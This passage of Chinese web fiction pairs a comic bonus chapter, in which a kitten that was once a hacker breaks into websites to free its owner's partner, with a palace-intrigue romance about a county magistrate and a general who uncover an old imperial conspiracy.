姜晚发现奶猫最近很不对劲。 自从灵魂融合事件结束后,这只猫开始频繁失踪,每次回来时身上都沾着可疑的电子元件碎片。 “它该不会又在拆系统吧?”姜晚戳了戳正在啃电路板的猫头。 沈疏临从厨房端出蓝莓蛋糕:“昨天它把教育局官网黑了。” “哈?” “为了加速副校长贪污案的审理。”沈疏临淡定切蛋糕,“顺便在举报信里附了38G犯罪证据。” 姜晚:“……38G?” 奶猫骄傲抬头,爪子在平板上敲出几个字: 「包括他小学偷同桌橡皮的视频。」 --- 深夜,姜晚被键盘声吵醒。 书房亮着灯,他蹑手蹑脚推开门—— 奶猫蹲在三个显示屏前,左边监控着监狱里的副校长,中间开着《学神的心尖男配》同人文网站,右边正在入侵…… 系统总局的数据库? “喂!”姜晚冲过去拔电源。 奶猫一爪子按住他手腕,机械音严肃响起: [申请解除沈疏临穿书者身份绑定。] [理由:他值得真正的自由。] 姜晚愣住。 屏幕突然弹出红色警告: [驳回!违规操作将触发——] 奶猫直接一屁股坐碎键盘。 [驳回无效。] --- 第二天早餐时,沈疏临的左手突然变得透明。 姜晚的牛奶杯穿过了他的手掌。 “看来它成功了。”沈疏临看着自己若隐若现的手指,“系统对我的束缚在消失。” 姜晚喉头发紧:“会…完全消失吗?” 沈疏临忽然扣住他的后颈,结结实实亲下来。 “感受到了?”唇分时他低笑,“比昨天更真实。” 奶猫在茶几上滚来滚去,爪机疯狂拍照: 「恭喜沈先生获得永久居留权!」 「报酬:每天三文鱼罐头。」 --- 一个月后,姜晚在沈疏临书柜发现本相册。 里面全是他的照片—— 初中打瞌睡的、食堂偷挑青椒的、甚至还有他穿书第一天捏着蟑螂石化的。 最后一张拍摄于昨天:他蜷在沙发上午睡,奶猫窝在他肚子上,而画面一角露出沈疏临拿相机的手。 照片背面写着: 「遇见你之前,我活在一场漫长的系统故障里。」 「现在终于重启成功。」 姜晚红着眼眶转身,撞进不知何时站在身后的沈疏临怀里。 “喵~” 奶猫用尾巴勾住他俩的脚踝,爪机弹出最终通知: [世界线稳定度100%|故事永不终结] (番外完) --- 系统总局(无能狂怒):“那只猫到底是谁?!” 某退休系统(点烟):“听说以前是黑客,因为入侵主神空间被变成猫……” 苏静柔(举手):“我作证!它上周还帮我改了高考分数!” 姜晚 & 沈疏临(同时捂猫耳朵):“闭嘴,它现在只是只小猫咪。” 9. 山匪 裴玉的马车翻进沟里时,他正默背着《洗冤录》里的验尸口诀。 车身猛地一斜,书卷从膝头滑落,后脑重重磕在厢壁上。耳畔炸开马匹嘶鸣与随从惊呼,混乱中夹杂着方言粗话——不是官话,不是商帮暗语,是实打实的山匪黑话。 "大人当心!"随行衙役刚抽出半截刀,就被箭矢射穿了喉咙。 血滴溅在裴玉雪青色的官服下摆,像雪地里突然绽开的红梅。他下意识去摸袖中匕首,却听见车帘被利刃划开的裂帛声。 "哟,还是个细皮嫩肉的官老爷。" 刀尖挑开帘子的刹那,裴玉已经调整好呼吸。映入眼帘的是张被刀疤贯穿的脸,匪首的独眼里闪着淫邪的光,黄黑牙齿间嚼着半截草茎。 "陇西道的官儿也敢走燕子峡?"匪首的刀面拍打他脸颊,"这身官皮卖到黑市,够弟兄们吃半年......" 裴玉突然咳嗽起来,单薄肩膀直颤,活像只被雨淋透的雏鸟。趁匪首俯身的瞬间,他袖中寒光乍现——匕首精准捅进对方咽喉时,喷涌的血柱在车窗投下的光斑里,划出一道猩红弧线。 "可惜。"裴玉踩住匪首抽搐的身体拔出匕首,"本官最恨两件事——"温热的血溅在他白玉般的面颊上,"一是耽误行程,二是被人碰脸。" 山林间突然响起尖锐的唿哨声。幸存的三个匪徒刚要扑上来,最壮实的那个突然头颅飞旋——一柄陌刀从后方劈开晨雾,带着千钧之势将人钉在马车残骸上。 "三十二息。" 低沉男声混着铁锈味飘来,裴玉看见一双玄色战靴踏过血泊。持陌刀的男人逆光而立,肩头停着只灰隼,残阳给他轮廓镀上毛边,像尊杀神突然有了人形。 "从遇袭到反杀匪首。"男人用刀尖挑起裴玉掉落的官印,"裴...玉?新上任的临台县令?" 裴玉眯眼看清对方腰牌——靖北军,萧。他心头一跳,是那个传闻中坑杀三万战俘的鬼面将军。 "下官多谢将军搭救。"裴玉拢起散落的发丝,露出官场标准的微笑,"只是将军既然早到,为何等到匪首毙命才出手?" 萧烬突然俯身,带着铁甲特有的寒气。裴玉闻到他身上混杂着血与松针的气息,发现这杀神眼尾竟有颗很小的泪痣。 "本将想看看。"萧烬的拇指擦过他染血的脸颊,"能写出《漕运弊案十疏》的裴大人,杀人时手抖不抖。" 灰隼突然振翅而起,惊飞满山栖鸟。裴玉望着萧烬转身时扬起的猩红披风,想起离京前首辅的警告——临台县的水,比燕子峡的山匪凶险百倍。 而此刻,水中最凶恶的那条龙,正把他的匕首抛回来。 "收好你的小牙签。"萧烬头也不回地走向军马,"前面二十里就是临台县——"他忽然回头,笑得像头发现猎物的狼,"本将的驻军大营,刚好在县衙对面。" 刁难 临台县的官仓钥匙,在裴玉手里断了第三回。 "大人见谅,这锁是前朝留下的老物件。"县丞赵德安袖着手,脸上堆着褶子笑,"下官这就去找锁匠......" "不必。" 裴玉突然抬脚踹向仓门。积年的霉灰簌簌落下,露出门缝里新鲜的蜡油——这锁昨儿个还开过。他余光瞥见赵县丞往后缩了半步,靴底碾碎地上一粒粳米。 "洪武二十年的永平仓规制。"裴玉用帕子包起半截钥匙,"仓门包铁三寸,锁眼斜开六分——"他忽然将帕子甩在赵德安脸上,"可这把锁,是去年江南铸币局私造的赃物!" 衙役们集体抖了抖。谁也没想到这看似文弱的县令,竟能认出千里之外涉案的锁具。 "灾民在城外啃树皮,赵大人倒把赈灾粮藏成了嫁妆。"裴玉摘了官帽搁在石碾上,"给你半个时辰,我要看到仓里消失的六百石粮食原样回来。否则......" 他忽然噤声。城墙外传来整齐的铁甲碰撞声,混着孩童尖锐的哭喊。裴玉抓住墙垛探身望去,看见萧烬的玄甲军正在驱赶聚集的灾民,雪亮枪尖抵着妇人怀抱中的襁褓。 "住手!" 裴玉冲到城外时,官靴已陷进半尺深的淤泥。三百多个面黄肌瘦的灾民被军士围在河滩,最前排的老者额头渗血,仍死死护着怀里破布袋漏出的谷糠。 萧烬高踞马上,正用刀鞘挑起一个少年的下巴:"军营丢的粮,是你偷的?" "将军明鉴!"少年牙齿打颤,"这是草民在河滩捡的......" "河滩?"萧烬突然劈手夺过布袋,"上月冲垮的官仓在下游三十里,这米袋上的军印倒是新鲜。"他手腕一翻,布袋内衬露出墨迹未干的"靖"字。 裴玉心头一跳。难怪萧烬来得这般快——有人偷了军粮栽赃灾民。 "萧将军。"裴玉挡在少年身前,"赈灾不力是下官失职,但这些百姓......" "裴大人。"萧烬俯身打断他,铁手套捏得咯咯响,"你衙门里藏着偷军粮的贼,倒有闲心管本将的闲事?" 两人目光相接的刹那,城门口传来赵德安的尖叫:"找到了!粮、粮食找到了!" 萧烬突然大笑。他扬手打了个呼哨,军阵后方竟推出二十辆粮车,每袋米面都印着清晰的官仓朱钤。 "本将今早巡营,在废弃煤窑里捡到这些。"萧烬的刀尖有意无意划过裴玉衣襟,"看来临台县的耗子,不但偷军粮,连官粮都敢搬。" 裴玉盯着粮袋上被雨水晕开的"赈"字,突然明白了萧烬的用意——这疯子早料到有人要陷害灾民,特意等县衙出丑后才现身。 "下官惭愧。"裴玉拱手时袖中滑落账册,正好翻到缺失的那页赈灾记录,"还请将军助我清点......" 萧烬突然用刀尖挑起账册。阳光下,裴玉看清册边密密麻麻的批注——全是各仓粮食的暗记特征,有些字迹竟与萧烬腰间露出的军粮簿子如出一辙。 "裴大人查账的本事,"萧烬压低声音,"比杀人的手艺差远了。" 灰隼的投影掠过泥泞地面。裴玉正欲反唇相讥,忽听得灾民群中传来嘶哑的歌声: "......折柳断,血诏残,将军白发征人泪......" 萧烬的瞳孔骤然收缩。裴玉敏锐地注意到他握缰的手暴起青筋——这是《折柳词》,二十年前太子案时流传的禁曲。 "吵死了。"萧烬猛地调转马头,"明日卯时,本将要看到县衙的协查公文。"他甩鞭指向灾民,"这些人——"铁鞭梢突然扫过裴玉耳垂,"归你管。" 当夜县衙灯火通明。裴玉摩挲着从灾民那得来的半片柳叶符,忽听窗外瓦片轻响。他吹灭蜡烛佯装就寝,果然在枕下摸到张字条——是萧烬的笔迹: 「官仓存粮掺沙三成军械库箭头与山匪同源」 裴玉把字条凑近烛火,却在焦糊味中闻到一丝血腥气。他推开后窗,月光下十几个玄甲军士正悄悄搬运粮袋,为首的军官往县衙台阶放了只粗瓷碗——里面是治疗刀伤的金疮药。 远处军营方向突然传来幽幽笛声,吹的正是《折柳词》的变调。裴玉猛然按住太阳穴,梦中反复出现的战场片段又浮现在眼前:漫天箭雨里,有个背上有疤的少年死死护着他...... 那疤痕的形状,恰似今日萧烬弯腰时,从后颈衣领露出的旧伤。 残符 矿洞里的尸臭味,比裴玉预想的还要浓烈三分。 "文官就是娇气。"萧烬将火把插在岩缝里,铁靴碾碎地上一截指骨,"这还没到万人坑呢。" 裴玉用浸了药油的帕子捂住口鼻。火光在萧烬轮廓分明的脸上跳动,那道从眉骨延伸到嘴角的旧疤显得格外狰狞。三天前他们在军械库发现的地图,最终指向这个废弃的钨矿——正是军制箭头失窃的源头。 "死者右手拇指有弓弦茧。"裴玉翻动一具相对完整的尸体,"左肩胛骨嵌着三棱箭头——"他突然噤声,镊子尖从腐肉里夹出半片青黑色金属,"萧将军,这莫非是......" "玄铁营的破甲箭。"萧烬的声音陡然阴沉,"专破重甲,射程三百步。"他忽然拽着裴玉往侧方一滚,几乎同时,三支弩箭钉在他们刚才站立的位置,箭尾雕着细小的蜘蛛纹。 矿洞深处传来杂乱的脚步声。裴玉后背紧贴着萧烬的铁甲,能清晰感觉到对方肌肉的紧绷。七名黑衣人呈扇形包围过来,为首的那个手腕一翻,亮出刑部缉盗司的腰牌。 "裴大人好手段。"黑衣人阴笑,"假装查赈灾粮,实则追查军械案?可惜尚书大人早......" 萧烬的陌刀突然呼啸而出,斩飞了那人半片脑袋。裴玉趁机甩出袖中匕首,精准扎进另一个杀手的眼眶。血战在狭窄的矿道爆发,裴玉发现这些人的招式根本不像刑部的人——倒像是训练有素的边军死士。 "背靠背!"萧烬的吼声震落洞顶碎石。裴玉的后背立刻贴上那副铁甲,两人在刀光剑影中诡异地形成了某种默契。当最后一个刺客被裴玉的匕首划开喉咙时,萧烬突然抓住他手腕:"你从哪学的这招''燕回旋''?" 裴玉愣住。这招反手刺是他梦里反复出现的动作,醒来就会了。 "《洗冤录》附录的防身术。"他随口扯谎,俯身搜查刺客尸体,却摸到块硬物——是半枚被血浸透的柳叶形铜符,边缘参差不齐,像是被人强行掰断的。 萧烬的呼吸突然粗重起来。裴玉下意识去摸自己颈间挂着的另一半,却见萧烬猛地撕开一个刺客的衣襟,露出锁骨处的蜘蛛刺青。 "黑蛛营。"萧烬冷笑,"看来我那好叔父坐不住了。" 返程时暴雨如注。裴玉在马车里检视从尸体上找到的账册,其中一页盖着户部侍郎的私印——他科举时的座师。车窗突然被敲响,萧烬隔着雨幕抛来一个油纸包。 "金疮药。"将军的斗笠滴着水,"你胳膊上的伤。" 裴玉这才发现自己的官服左袖已被血浸透。他正想道谢,却见萧烬的目光死死盯着他露出衣领的柳叶符。 "这玩意儿,"萧烬的声音比冰还冷,"你从哪得的?" "家传的。"裴玉本能地撒谎,"萧将军若有兴趣......" "扔了它。"萧烬突然伸手攥住铜符,"除非你想死得比那些刺客还快。" 雨声淹没了接下来的沉默。裴玉注视着萧烬消失在雨幕中的背影,指腹摩挲着铜符内侧的刻痕——那里有个极小的"烬"字,与他符上残缺的"玉"字本该是一对。 当夜县衙起了火。裴玉踹开库房门时,赵德安正将账本投入火盆。两人在烈焰中对峙,赵县丞突然狞笑着亮出匕首:"裴大人可知,为何偏偏派你来这鬼地方?" 一支羽箭突然穿透赵德安的咽喉。裴玉转头望去,萧烬持弓立在墙头,身后是熊熊燃烧的粮仓。更远处,玄甲军正将抢出的粮袋分发给灾民。 "他要说什么?"萧烬跳下来踩灭火星。 裴玉用脚尖拨开赵德安僵死的手指,露出掌心里一枚龙纹香囊:"大概是想说......"他抬头与萧烬对视,"我们钓到条大鱼。" 后半夜裴玉发起高热。箭伤处的灼痛让他不断陷入破碎的梦境:漫天火光中,有个背上有疤的少年背着他奔跑,哼着一支奇怪的童谣...... "......折柳枝,换血誓......" 模糊中有人往他嘴里灌药。裴玉挣扎着睁眼,看见萧烬近在咫尺的脸——将军的表情活像见了鬼,手里还捏着那半枚柳叶符。 "这曲子,"萧烬的声音沙哑得可怕,"谁教你的?" 屋外惊雷炸响。裴玉在闪电照亮房间的刹那,看清萧烬腰间露出一角文书——那是刑部签发的密令,上书"逆党裴氏余孽,就地格杀"。 旧疤 裴玉在剧痛中咬破了萧烬的手指。 "别动!"萧烬膝盖压住他挣扎的身体,沾满血污的巾帕扔在一旁,"箭头有毒,不想废了这条胳膊就老实点。" 冷汗浸透了裴玉的里衣。萧烬俯身时,后颈那道旧疤在烛光下格外清晰——蜿蜒如蛇的伤痕,末端分叉成三股,与裴玉梦中见过的完全一致。他恍惚想起梦中漫天箭雨里,背着他的少年也是这样呵斥:"抱紧!别松手!" "你......"裴玉的嗓音嘶哑得不像自己,"冷宫里......养过猫吗?" 萧烬的手突然僵住。正在包扎的布条勒进伤口,裴玉疼得倒抽冷气,却看见将军眼底闪过一道骇人的亮光,像是黑夜中突然出鞘的刀。 "裴大人烧糊涂了。"萧烬猛地扯紧布条打结,"冷宫早二十年就拆了。" 可裴玉分明听见他磨牙的声音。屋外暴雨如注,房梁上传来灰隼梳理羽毛的响动。萧烬起身去端药碗时,腰间露出一角公文——裴玉眯起眼睛,隐约辨出"就地格杀"四个朱砂小字。 "喝药。"萧烬粗鲁地托起他后脑,"放心,没下毒。" 苦涩的药汁滑过喉咙,裴玉却尝出一丝熟悉的甜味。是甘草,而且特意用蜜炙过——就像小时候嬷嬷给他熬的药一样。这个发现让他心头微颤,故意让药汁从嘴角溢出:"烫......" "娇气。"萧烬嘴上骂着,却下意识吹了吹药勺。这个动作让裴玉想起梦中少年给他吹凉粥的样子,鬼使神差地,他哼出一段模糊的调子:"......月儿弯,照宫墙......" 药碗突然砸在地上。萧烬掐住他下巴的手在发抖:"谁教你唱的?!" 闪电照亮两人之间咫尺的距离。裴玉在对方瞳孔里看见自己病态潮红的脸,也看见萧烬眼中翻涌的惊涛骇浪。这首《月儿弯》是当年冷宫婢女哄孩子的歌谣,连史官都未必记得。 "我......"裴玉突然剧烈咳嗽起来,喉间涌上腥甜。萧烬咒骂一声,撕开他衣领,俯身去吸伤口处的毒血。温热的唇贴在皮肤上的触感让裴玉浑身紧绷,某种遥远的记忆呼之欲出—— "将军!"门外亲兵的喊声打断了他的思绪,"营里抓到个奸细,身上有黑蛛刺青!" 萧烬抹了把唇边的血渍,将酒囊塞进裴玉手里:"高热就喝一口。"他起身时佩刀撞到床柱,叮当一声,有什么东西从怀里掉出来。 是半枚柳叶符。 裴玉用发抖的手指摸向自己颈间——空了。不知何时,萧烬已经取走了他的铜符。两枚残符静静躺在床沿,断裂处的锈迹严丝合缝,内侧刻字拼成完整的一句: 【烬玉同心死生不负】 惊雷炸响的刹那,裴玉的记忆如洪水决堤。他看见七岁的自己蜷缩在冷宫角落,有个背上有疤的少年把偷来的馒头掰成两半;看见漫天火光中,那少年背着他穿过箭雨,血滴在锁骨处烫出月牙形的疤;最后看见先帝的龙案上,并排放着两枚柳叶符,老太监尖细的嗓音说:"留一个,杀一个......" "想起来了?"萧烬的声音像是从很远的地方传来。他拾起拼好的铜符,指腹摩挲着上面的刻字:"先帝赐符那日,你被裴尚书接出宫,我被派往北疆。"他忽然冷笑,"他们说你在路上病死了。" 裴玉的太阳穴突突直跳。所以刑部密令要杀的是"逆党裴氏余孽"——二十年前被满门抄斩的裴尚书家小公子。而萧烬......他猛地抬头:"你是那个冷宫里的......" "闭嘴。"萧烬一把捂住他的嘴,"这名字早随东宫一起埋了。"他的掌心有铁锈味,也有裴玉方才咳出的血,"现在听着,赵德安那个香囊......" 房门突然被撞开。亲兵跌进来,胸口插着支羽箭:"将军...黑蛛营...劫狱......" 萧烬反手甩出陌刀,将窗外偷袭的黑衣人钉在墙上。裴玉挣扎着爬起来,看见院墙外密密麻麻的火把——至少有五十个弓箭手。 "能跑吗?"萧烬扯下床帐裹住他,"后门有匹马。" 裴玉抓住他手腕:"一起走。" "蠢货。"萧烬甩开他的手,"他们的目标是你这个''裴氏余孽''。"说着突然割断床绳,把裴玉拦腰捆在自己背上,"抱紧!别松手!" 这句话与记忆中的声音完全重合。裴玉在眩晕中搂住萧烬的脖子,听见弓弦震响的瞬间,将军反手挥刀劈落了第一波箭雨。他们撞破后窗时,一支淬毒的弩箭擦着裴玉耳边飞过,深深扎入门框——箭尾系着明黄色的流苏。 皇家死士。 萧烬的灰隼在夜空中尖啸。裴玉伏在他背上,听见两人心跳渐渐同步。湿透的衣衫紧贴在一起,他忽然感觉到萧烬后腰处有个硬物——是那块从不离身的龙纹玉佩,此刻正硌着他的肋骨。 "萧烬。"裴玉在颠簸中贴着他耳朵问,"如果密令是真的......" "早撕了。"萧烬挥刀砍断拦路的绳索,"你以为我为什么去燕子峡?" 一支火箭擦过他们身侧,照亮前方断桥。裴玉在腾空的瞬间想起梦中最后的画面——当年背着他的少年也是这样纵马跃过深渊,而彼时他们胸前,正挂着那对能拼成完整誓言的柳叶符。 密诏 破庙里的菩萨像少了半边脸,雨水从残破的屋顶漏下来,在斑驳的金漆上冲出蜿蜒的泪痕。 裴玉把萧烬拖到干草堆上时,将军的嘴唇已经泛青。那支射穿他肩膀的箭矢尾部刻着蜘蛛纹,箭簇在火光下泛着诡异的蓝光——与二十年前毒杀废太子的箭一模一样。 "忍着点。"裴玉咬开酒囊,烈酒浇在伤口上发出滋滋声响。萧烬的肌肉瞬间绷紧,汗珠顺着脖颈滚落,却只从牙缝里挤出一声闷哼。 "黑蛛营的箭..."萧烬的嗓音像是砂纸摩擦,"找...找箭杆..." 裴玉折断箭尾,在空心箭杆里摸出张字条。借着摇曳的火光,他看清上面潦草的朱砂字——"裴氏子留不得"。 "他们怎么确定是我?"裴玉撕下衣摆包扎伤口,"柳叶符只有我们..." "胎记..."萧烬突然抓住他手腕,"你腰侧...月牙形的..." 裴玉的后背霎时沁出冷汗。这个连他自己都没注意过的胎记,形状恰似当年那滴落在锁骨处的血。他下意识去掀萧烬的衣襟,对方却猛地翻身将他压在身下,同时一支弩箭钉入他们刚才所在的位置。 "蠢货..."萧烬的呼吸喷在他耳畔,"这时候...还分心..." 血腥气混着铁锈味笼罩下来。裴玉的手掌抵在萧烬胸膛上,感受到掌心下的心跳又快又乱。他突然想起梦中那个背着他的少年,也是这样剧烈的心跳声,隔着单薄的衣衫传递过来。 "我去解决追兵。"裴玉摸出靴中匕首,"你..." "看...菩萨底座..."萧烬松开他,从怀中掏出块沾血的帕子,"先帝...谒陵图..." 裴玉爬向神龛时,听见身后传来布料撕裂的声音。菩萨底座果然有道裂缝,里面塞着个生锈的铁盒。他刚要伸手,突然瞥见盒边刻着行小字——"月儿弯,照宫墙,玉奴儿,莫慌张"。 这是《月儿弯》的后半段!裴玉的手指不受控制地发抖。当年冷宫里,只有一个人会唱全这首禁歌... 铁盒里是半幅泛黄的谒陵图,背面密密麻麻写满小字。裴玉借着闪电的光亮辨认出"弘德太子""鸩杀""矫诏"等字眼,最下方盖着方残缺的玉玺印——这是先帝亲笔的密诏,揭露当今圣上得位不正的真相! "萧烬!"裴玉转身时撞翻烛台。火光忽明忽暗间,他看见将军蜷缩在干草堆上,手中紧攥着那块龙纹玉佩。更可怕的是,玉佩侧面竟刻着"弘德"二字——这是废太子的私印! "你不是冷宫弃子..."裴玉跪坐在他身旁,"你是...皇长孙?" 萧烬的瞳孔已经有些涣散。他颤抖的手指抚过裴玉腰侧,在月牙形胎记的位置停下:"当年...这滴血...是你父亲..."话未说完便剧烈咳嗽起来,呕出的血沫里带着诡异的蓝色。 "撑住!"裴玉撕开他衣领准备吸毒,却突然僵住——萧烬锁骨下方有个陈年箭疤,周围皮肤呈现蛛网状青紫,与父亲笔记里记载的太子中毒症状完全一致。 记忆如惊雷劈开迷雾。裴玉想起父亲被押赴刑场那日,有个小太监往他手里塞了半块馒头,低声说:"玉奴儿快跑,太子爷的毒发了..." "你替我...挡过毒..."裴玉的声音支离破碎,"东宫大火那晚..." 萧烬突然挣扎着坐起来,沾血的手指在墙上画了个古怪的符号。裴玉认出这是钦天监用的密文,父亲曾教过他——"玉簪"。 "什么玉簪?"裴玉扶住他摇晃的身体,"你说清..." 破庙大门突然被撞开。十几个黑衣人持弩逼近,为首的那个摘下蒙面巾,露出裴玉永生难忘的脸——是当年抄家时,亲手勒死他乳母的锦衣卫千户! "裴公子别来无恙。"千户腰间的玉佩叮当作响,"这块''清正廉明''佩,还是令尊当年..." 裴玉的匕首已经抵住对方咽喉。可千户突然诡笑,袖中滑出把短火铳:"您不妨看看,萧将军怀里..." 萧烬在裴玉分神的瞬间扑过来。火铳炸响的轰鸣中,裴玉听见血肉被穿透的闷响。萧烬重重压在他身上,温热的血浸透了两人的衣衫。 "走..."萧烬把什么东西塞进他衣领,"找...白嬷嬷..." 裴玉摸到半截断裂的白玉簪。簪头雕着精细的柳叶纹,轻轻一拧,竟从空心簪身里掉出卷薄如蝉翼的丝绢,上面是用血写的八个字: 【弘德有后裴氏藏诏】 黑衣人的脚步声越来越近。裴玉把萧烬拖到神像后的暗道口,最后看了一眼墙上的血符。在跳入暗道的刹那,他听见千户的狞笑:"玉奴儿,你父亲临刑前还在喊你的小名呢..." 黑暗的甬道里,裴玉背着重伤的萧烬艰难前行。将军的高热透过衣衫灼烧着他的后背,恍惚间,他听见萧烬在昏迷中呢喃: "玉奴儿...别怕..." 一滴温热的水珠落在手背上。裴玉过了好久才意识到,那是自己的眼泪。 血契 白嬷嬷的茅屋比裴玉想象中还要破败。 雨水顺着茅草屋顶的漏洞滴落,在泥地上汇成蜿蜒的小溪。裴玉把萧烬安置在唯一干燥的角落时,老妇人正在捣药的手突然顿住——她的目光死死盯着萧烬裸露的后背,那里除了新添的箭伤,还有蛛网状的旧疤痕。 "月儿弯,照宫墙..."裴玉沙哑地哼出半句童谣。 老嬷嬷的药杵砰然落地。她颤抖着摸向萧烬锁骨下的箭疤,又突然抓住裴玉的手腕,粗粝的拇指摩挲着他内侧淡得几乎看不见的红痕。 "血誓兄弟..."老嬷嬷浑浊的眼里涌出泪水,"小公子和长孙殿下...果然还活着..." 屋外惊雷炸响。裴玉腕间的红痕在闪电照耀下竟隐约泛出微光,与此同时,昏迷中的萧烬突然抽搐起来,他手腕相同位置也浮现出诡异的红光。 "这是..." "饮血为盟的印记。"白嬷嬷掀开萧烬的衣襟,露出心口处同样的红痕,"当年东宫事变前夜,太子爷让你们结为血誓兄弟。"她枯瘦的手指指向裴玉颈间的玉坠,"滴血认亲的玉,解百毒的血...老奴等了二十年啊..." 裴玉握紧那枚从小戴到大的玉坠。记忆中父亲临终前死死攥着这玉说"藏好",现在想来,那根本不是裴家的传家宝——玉上暗刻的蟠龙纹,分明是东宫旧物。 "救他。"裴玉扯开衣领露出红痕,"需要什么?" 白嬷嬷从灶膛里扒出个陶罐,里面是泛着腥臭的黑色药膏:"箭毒与当年太子中的一样,需血亲或血誓者的心头血为引。"她意味深长地看了眼裴玉,"会很疼。" 匕首划开腕间皮肤的瞬间,裴玉听见萧烬在昏迷中闷哼一声。奇怪的是,当鲜血滴入药罐时,他竟能隐约感受到萧烬的痛苦——就像有根无形的丝线牵连着两人的心脏。 "血誓感应。"白嬷嬷将黏稠的药膏敷在萧烬伤口上,"同生共死,痛觉相连。"她突然压低声音,"当年太子爷就是靠这感应,知道远在北疆的长孙殿下遇险..." 裴玉突然按住太阳穴。破碎的记忆中浮现出父亲深夜焚毁信件的画面,火光中隐约可见"血誓""毒发"等字眼。所以父亲早就知道萧烬的身份?甚至可能一直在暗中... 屋外传来树枝断裂的脆响。白嬷嬷猛地吹灭油灯,三人陷入浓墨般的黑暗。裴玉屏息贴在窗缝处,看见十几个黑影正呈扇形包围茅屋——这次他们举的不是弩箭,而是熊熊燃烧的火把。 "黑蛛营的猎犬。"白嬷嬷塞给裴玉一个油纸包,"从后窗走,沿着溪水到断碑处..."她突然撕开萧烬的里衣,从夹层取出一块薄如蝉翼的绢布,"这个和玉簪里的诏书拼在一起。" 裴玉刚要接过,老嬷嬷却死死攥住他手腕:"记住,首辅大人腰间的龙纹玉佩..."话未说完,一支火箭穿透窗纸,正中她咽喉。 热浪扑面而来。裴玉背起萧烬撞开后窗,在茅屋坍塌的轰鸣中滚入溪水。冰凉的河水暂时缓解了烧伤的灼痛,却让萧烬的高热更加滚烫。将军在昏迷中无意识地搂紧他的脖子,唇瓣擦过他耳垂:"...玉奴儿...跑..." 断碑立在溪水转弯处,上面爬满青苔。裴玉用匕首刮去苔藓,露出半幅残缺的地图——是皇陵的暗道布局!他颤抖着取出玉簪中的丝绢,两块绢布拼合的瞬间,墨迹竟神奇地延伸连接,显现出完整的密道图。 "原来如此..."裴玉轻抚萧烬滚烫的额头,"你要带我找的不是白嬷嬷,而是这个。" 怀中的身体突然剧烈颤抖。萧烬在剧痛中睁开眼睛,瞳孔已经有些扩散:"裴...尚书...没...叛变..."他呕出一口发黑的血,"他替...太子...藏了..." 又一波追兵的声音逼近。裴玉把地图塞回萧烬贴身处,正要背起他继续逃,突然摸到将军腰带里有个硬物——是半枚铜钱,边缘刻着细小的蜘蛛纹。这纹饰他太熟悉了,三年前查漕运案时,曾在首辅心腹的私印上见过一模一样的图案。 "萧烬,"裴玉在溪水中捧起他的脸,"当年东宫事变...首辅参与了多少?" 将军的指尖在他掌心划了个"十"字,又艰难地补了"玉簪"二字。远处火把的光亮已经能照见水面,裴玉最后看了一眼燃烧的茅屋,背着萧烬潜入冰冷的溪水深处。 黑暗中,他腕间的红痕突然灼痛起来。裴玉知道,这是萧烬在警告他危险临近——血誓的感应正在苏醒,而比追兵更可怕的秘密,正随着二十年前的血案一起浮出水面。 替身 皇陵密道的砖石缝隙里渗出森冷寒气,裴玉每走一步,靴底就留下个血脚印——萧烬伤口的血混着他的,在青砖上印出诡异的并蒂花。 "左转...第七块砖..."萧烬的气音喷在他耳后,滚烫得吓人。裴玉数着砖块往前摸,突然掌心一空,整面墙无声旋转,将他们吞入更深的黑暗。 磷火自动亮起的刹那,裴玉看清了密室全貌——四壁绘满宫廷画,正中石案上放着个鎏金匣子。而最令人毛骨悚然的是,匣子两侧各有一具孩童大小的骸骨,手骨以红绳相连。 "血誓...祭品..."萧烬突然从他背上滑下来,踉跄着扑向石案。他腕间的红痕此刻鲜红如血,与裴玉手上的痕迹同时发出灼热痛感。裴玉扶住案角时,脑海中突然闪过陌生又熟悉的画面:雪夜里,两个男孩跪在东宫偏殿,手腕被红绳缠在一起... "这是哪里?"裴玉甩开那些幻觉,"先帝的..." "太子密室。"萧烬用染血的手指抚过鎏金匣上的蟠龙纹,"你父亲...亲手设计的机关..."他突然剧烈咳嗽起来,血沫溅在匣面上,那些龙纹竟开始缓缓游动。 裴玉下意识去扶他,却在触碰的瞬间被拉入更强烈的幻境:火光冲天的宫殿,父亲将玉簪塞给一个背影模糊的少年,而年幼的自己被推入密道...最可怕的是,那回头望来的少年脸上,赫然是萧烬现在的疤痕! "看见了吗..."萧烬惨笑着掰开匣子,"我们的..." 匣中丝绸上躺着半张发黄的血书。裴玉颤抖着取出玉簪里的另半张,两份残片相接的瞬间,褪色的字迹重新显现: 【朕知弘德冤死裴卿护太子血脉烬儿非长孙 实为障目之棋 真嗣在...】 后半截被血污遮盖。裴玉的太阳穴突突直跳,他转向壁画——那上面清晰绘着太子抱着两个孩童,一个眉间有朱砂痣(真正的皇长孙),另一个背上有疤(替身)...而太子身侧站着的人,分明是年轻时的裴尚书! "所以我才是..."裴玉的指甲掐进掌心,"而你一直..." 萧烬突然将他扑倒。三支弩箭擦着发梢钉入壁画,其中一支正中太子画像的眉心。密道入口处,黑蛛营的杀手正往内灌入浓烟。 "走!"萧烬踹开石案下的暗格,"顺着水路..." 裴玉却死死拽住他:"你早就知道自己是替身?" 回答他的是萧烬咳出的一口黑血。将军的瞳孔已经开始扩散,却仍用身体挡在裴玉与箭矢之间:"那年...你父亲说...真死了个皇子...天下才会信..." 毒烟弥漫进来。裴玉在眩晕中看到更多记忆碎片:萧烬被刻意培养成他的影子,学□□长孙的举止;东宫事变那夜,真正的目标其实是裴玉,而萧烬主动穿上他的衣服引开追兵... "为什么..."裴玉撕下衣袖捂住萧烬口鼻,"明知是替死鬼还..." 萧烬腕间的红痕突然发出灼目光芒。他抓住裴玉的手按在自己心口,那里有个陈旧的箭疤——形状与裴玉腰侧的胎记完全一致。 "血誓...不是兄弟..."萧烬的声音轻得像叹息,"是...影子与本体..." 石壁开始震动。追兵在用火药炸通道。千钧一发之际,裴玉咬破手腕,将涌出的鲜血直接喂入萧烬口中。血誓之血相融的瞬间,整间密室突然亮如白昼,两具孩童骸骨上的红绳化作飞灰,而他们腕间的红痕变成了实体——是根细如发丝的红线,将两人手腕连在一起。 "走!"萧烬借血誓的力量暂时压住毒性,挥刀劈开暗河入口。裴玉却转身扑向壁画,从太子画像的眼里抠出一颗明珠——里面藏着张更小的绢布,上面只有三个字: 【诏在簪】 河水汹涌而入。在灭顶的黑暗降临前,裴玉最后看见的是萧烬背上的旧疤在水中发光,组成一个清晰的"裴"字——这是父亲独创的暗记,只会刻在最忠诚的死士身上。 原来二十年来,这个为他赴汤蹈火的人,从来都不是什么皇族血脉,只是父亲安排给他的,最完美的影子。 --- 红线 